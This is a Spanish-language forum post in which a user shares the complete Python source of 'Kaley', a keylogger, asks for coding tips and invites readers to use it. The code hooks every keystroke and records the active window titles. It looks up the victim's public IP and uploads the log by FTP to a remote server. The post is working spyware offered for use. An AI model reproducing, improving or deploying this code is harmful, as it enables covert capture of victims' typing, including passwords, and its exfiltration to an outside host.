[Python] Kaley, Keylogger simple en Python

Iniciado por Fyrox, 21 Septiembre 2011, 23:24 PM

0 Miembros y 1 Visitante están viendo este tema.

Fyrox

Saludos, después de un tiempecillo programando en Python, al fin me he decidido a crear un Keylogger. Como no llevo mucho tiempo programando, lo subo aquí para que aportéis ideas/mejores formas de codear determinadas cosas en Python, además de para que lo uséis si queréis.
Código (python) [Seleccionar]
# coding= utf-8
import pythoncom, pyHook, ftplib, urllib, datetime, time, thread, os

class Kaley:
   def __init__(self):
       self.current_window = None
       self.namefile = str(self.getIP()) + " - " + str(self.getDate()) + ".txt"
       self.f = ftplib.FTP("server")
       self.f.login("user", "pass")
       self.f.cwd("/html/kaley")
       self.run = False
       
   def getIP(self):
       url = urllib.URLopener()
       resp = url.open("http://automation.whatismyip.com/n09230945.asp")
       html = resp.read(114)
       return html

   def getDate(self):
       now = datetime.datetime.now()
       return now.strftime("%Y-%m-%d")
       
   def write(self, text):
       file = open(self.namefile, "a")
       file.write(text)
       file.close()
       if self.run == False:
           thread.start_new_thread(self.upload, ())
       
   def upload(self):
       self.run = True
       time.sleep(5)
       self.f.storbinary("STOR " + self.namefile, open(self.namefile, "rb"))
       self.run = False
                               
   def stroke(self, event):
       if event.WindowName != self.current_window:
           self.write("\n" + event.WindowName + "\n")
           self.current_window = event.WindowName
       if event.Ascii == 32 or event.Ascii == 9:
            self.write(" ")
       elif event.Ascii == 241 or event.Ascii == 209:
           self.write("Ñ")
       elif event.Ascii == 13:
           self.write("\n")
       else:
           self.write(event.Key)
       
log = Kaley()
ph = pyHook.HookManager()
ph.KeyDown = log.stroke
ph.HookKeyboard()
pythoncom.PumpMessages()


Como podéis ver, os hacen falta las librerias pyHook para ejecutarlos.

Fyrox